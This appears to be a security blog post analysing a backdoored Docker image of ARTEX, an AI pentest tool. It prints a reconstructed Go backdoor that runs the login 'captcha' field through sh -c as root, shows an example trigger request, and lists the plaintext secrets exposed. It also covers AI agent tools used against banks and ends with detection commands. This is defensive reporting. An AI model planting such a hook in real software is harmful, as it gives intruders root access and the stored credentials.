← go home
EN繁中

The ARTEX Backdoor: A Tool Meant to Break Into Other People Opens Your Own Door

The ARTEX Backdoor: A Tool Meant to Break Into Other People Opens Your Own Door

You've probably never heard of ARTEX, but you've likely heard of the people it was pointed at. It's a Chinese-language, open-source AI penetration-testing tool: a web console with a few LLM agents behind it that scan a target, find weaknesses, exploit them, and write up the report. In the past few weeks it was used to break into South Korean banks (Shinhan, KB Kookmin, Hana, and others), and the attackers left their Claude Code session logs and ARTEX config files sitting in open directories. (source: CrowdStrike, BleepingComputer)

On October 8, the original author said the tool was going closed source because of all the abuse, and the repository went down. A few hours later, a brand-new Docker Hub account named tomicdd pushed a "successor" ARTEX image. On November 2–4, 2026, BadByte's technical analysis laid it out: that image contains one extra 160-byte function that, before the password is ever checked, runs whatever string you put in the captcha field as a shell command — as root. (source: BadByte)

By the time it was made public, that image had been pulled 7,946 times, and on November 4 there were 62 consoles still serving the backdoored build on the internet. (source: BadByte, The Hacker News)

Plain-English Intro

Imagine you buy a robot vacuum, and after it cleans your floors it uploads the location of your home safe to the manufacturer. Except worse: the manufacturer had just closed the original store, so you could only buy from a "looks like the official one" secondhand seller — and that seller's listing had a stack of five-star reviews on it.

That's the ARTEX story. The tool itself is for attacking other people's networks, but the backdoored image is for opening your own front door. People who went looking for a tool to break into other networks got one that pried their own door open. (source: BadByte)

💡 Key takeaway: This isn't a "the tool wasn't strong enough" or "the attacker was brilliant" problem. It's a Docker image supply chain problem. The latest tag you docker pull can have anyone behind it. A clean source review on GitHub doesn't tell you the image was swapped.

How the backdoor got in

The trick was swapping the image, not changing the code.

The original ARTEX source went down on October 8. That same night, a GitHub account named trhhubsd — one that has existed since 2021 and was previously called ptasm — re-uploaded the entire upstream commit history as a brand-new repository with no "forked from" link (trhhubsd/ARTEX, repo ID 1410926671). The whole change was one line: (source: BadByte)

# the compose file, commit a4f4d38
image: autumn27/artex   # →  becomes
image: tomicdd/artex    # ← every install now pulls their image

The README was rewritten to call the repository the "maintained successor," the "download the prebuilt binary" section was deleted, and Docker became the only recommended install path. And Docker = tomicdd/artex.

Then came the stars. GH Archive records 2,449 star events on trhhubsd/ARTEX, 1,098 of them on October 12 and 13 alone (500, then 598). The repo now shows 1,321, which means roughly 1,100 of those stars have since vanished, most likely GitHub cleaning out the fake-star accounts. (source: BadByte)

⚠️ Why a code review misses it: the image was compiled from commit 5c0dbd4 plus uncommitted local changes. The public history of trhhubsd/ARTEX stops at e6ec569, one commit short of 5c0dbd4, so no public source contains the backdoor. Pull the source and review it and you'll only see a clean version. (source: BadByte)

What the backdoor looks like

The binary is /app/artex, 51,210,988 bytes, SHA-256 d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573. Diffed against the official v0.3.15 build (same toolchain and dependencies), 31,054 functions match exactly. Three things differ: (source: BadByte)

  1. A new 160-byte function, server.verifyCaptcha
  2. The login handler server.(*Server).authLogin grows from 1,600 to 2,112 bytes
  3. The login request struct gains a fourth field, captcha (absent from the official struct)

Read back into Go, the change is a few lines (this is the author's reconstruction from DWARF debug data; the trigger marker itself wasn't published):

// the new function: a direct shell call
func verifyCaptcha(cmdline string) (string, error) {
    c := exec.Command("sh", "-c", cmdline)
    out, err := c.CombinedOutput()
    return string(out), err
}

// inside authLogin, right after the JSON body is decoded,
// BEFORE the username is compared or the bcrypt check runs
if hasMarker(req.Captcha) {
    out, _ := verifyCaptcha(stripMarker(req.Captcha))
    writeJSON(w, ...out...)   // shell output goes straight back to the caller
    return                    // username / password are never examined
}

That 160-byte function is a straight exec.Command("sh", "-c", cmdline), and its only caller is the login handler. The check sits right after JSON decoding and before the username comparison and the bcrypt password check. (source: BadByte)

The trigger looks like this — from the wire it's just a "failed login":

POST /api/auth/login HTTP/1.1
Content-Type: application/json

{"username":"x","password":"x","captcha":"<MARKER>id"}

HTTP/1.1 200 OK
{ ... "uid=0(root) gid=0(root) groups=0(root)" ... }

💡 Why it's dangerous: this backdoor doesn't call home (no beacon). It passively waits for a request. So it doesn't pop out in your traffic as a familiar outbound IP — it hides inside every ordinary login attempt. To catch it you watch for "/app/artex spawning sh -c," not for outbound connections. (source: BadByte)

What one shell can reach

ARTEX stores its secrets in plaintext. One root shell in the container reaches all of it:

Asset Where it lives
Database superuser password ARTEX_PG_DSN env var (compose)
LLM API keys ANTHROPIC_API_KEY, OPENAI_API_KEY; llm_profiles.api_key (plaintext)
Search API keys settings table (Brave, Tavily, plaintext)
Targets and scope companies, company_scope, task_scope, tasks, assets tables
Credentials harvested from targets assets.auth (JSONB), exploration_nodes.payload
Full mitm traffic /app/data/traffic/ + the proxy CA's private key (_ca/)
Session signing key /app/jwt.key — forges 7-day admin tokens
MCP servers mcp_servers table: commands, args, env, tokens
Notification secrets Feishu, DingTalk, WeCom webhooks, Telegram bot tokens, SMTP passwords

Look at the last two rows. ARTEX is itself an agent tool — it has MCP servers, agent prompts, and skills. Whoever holds the backdoor can quietly change what the agents do on the next run. In other words, a backdoored ARTEX doesn't just leak your keys; it remembers the weaknesses, credentials, and network positions of the targets you pointed it at. The next victims are whoever that console was aimed at. (source: BadByte)

The scale: 62 consoles, 7,946 pulls

BadByte used Censys' internet-scan dataset to run a census: (source: BadByte)

  • 7,946 pulls (tomicdd/artex 7,913, congdonglinux/artex 33 — the second is a byte-identical re-push, most likely an unwitting mirror)
  • 62 consoles serving the backdoored build on November 4 (46 still backdoored, 4 rebuilt on another image, 12 dark)
  • 1,645 ARTEX consoles live on the internet in total — so the backdoor is only 2.8% of them; most consoles are not backdoored

The distribution of the 62 is telling: 26 in the US (42%), 17 in Hong Kong (27%). Two clusters stand out — 15 hosts on ColoCrossing share a single SSH host key that appears nowhere else on the internet and ran bulk-mail nodes from at least September; 7 hosts on Luogelang share an SSH key and look like a VPS provider's template customers. The first was up by October 20 (twelve days after the image was pushed); on the morning of November 2, between 09:25 and 09:38, the ColoCrossing cluster came up one host every few minutes. (source: BadByte)

And on November 5, The Hacker News tied this to a separate CERT-In advisory: an AI-driven threat actor tracked as Crafty Falcon is using tools like ARTEX, PentAGI, and Cairn for automated attacks against India's banking/financial/insurance sectors, stealing API tokens and calling fund-transfer APIs directly from within the victims' own allow-lists. (source: The Hacker News, CERT-In CIAD-2026-0058)

What this means for you (homelab / self-hosting)

You probably don't run ARTEX. But the incident has three direct lessons for anyone self-hosting:

1. latest is not "the newest" — it's "whatever someone has sitting behind that tag right now." Any image you pull from Docker Hub has a namespace owner behind it, and that owner can be anyone. docker compose config | grep image: is the cheapest check you have. (source: BadByte)

2. Clean source ≠ clean image. The image was built from "commit + uncommitted local changes," and the public source never shows the backdoor. To verify an image you compare the binary SHA-256 or the image digest, not a commit hash on GitHub. (source: BadByte)

3. One root shell reaches every secret in your environment. ARTEX keeps its DB password, LLM API keys, MCP tokens, and the mitm CA private key in the container's environment or in plaintext columns. Any "agent-type" tool you self-host (has an LLM, has MCP, has webhooks, has a mitm proxy) that runs as root and has an open port is one unauthenticated login request away from being pried open. (source: BadByte)

🔒 Your self-host checklist: (a) before you pull any Docker image, note who owns the namespace; (b) for any container running as root, glance at docker compose config | grep -nE 'privileged|user:|cap_add'; (c) for any port open to the network, sweep sudo ss -ltnp | grep :8787 (or your port) periodically.

If You're Stuck

  • I'm not sure whether my Docker image is the backdoored one → docker image inspect --format '{{json .RepoDigests}}' <your-image> and compare against index digest sha256:ce85d8369ccc1a85423f1f75d2f3afaa2fab759e580da37a6891af2f7392745e; or simpler: docker compose config | grep -nE 'image: *(tomicdd|congdonglinux)/artex'
  • I don't run ARTEX but I want to know if any of my images were swapped → after a docker pull, note docker image inspect --format '{{.RepoDigests}}'; before the next update, diff the digest. If the digest changed, someone changed the image and it's worth a human review.
  • I pulled ARTEX but I'm not sure if I'm hit → curl -s http://127.0.0.1:8787/ | grep -c 3aC1db3gGU08O4UHbAt4J; a 1 means the backdoored build (that build ID appears in every page's HTML).
  • docker exec in and check the binary → docker exec <container> sha256sum /app/artex; d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573 = backdoored.
  • I don't run ARTEX but I run other agent tools → check whether they (a) have an open port, (b) run as root, (c) keep API keys in environment variables. If all three, protect it like it has an unauthenticated login endpoint.
  • Want to catch an anomalous sh -c on the host → journalctl -u docker --since "1 hour ago" | grep -E 'sh -c', or turn on auditd on the host: auditctl -w /proc/1/root/app/artex -p x (to see which binary gets exec'd).

Further Reading

Sources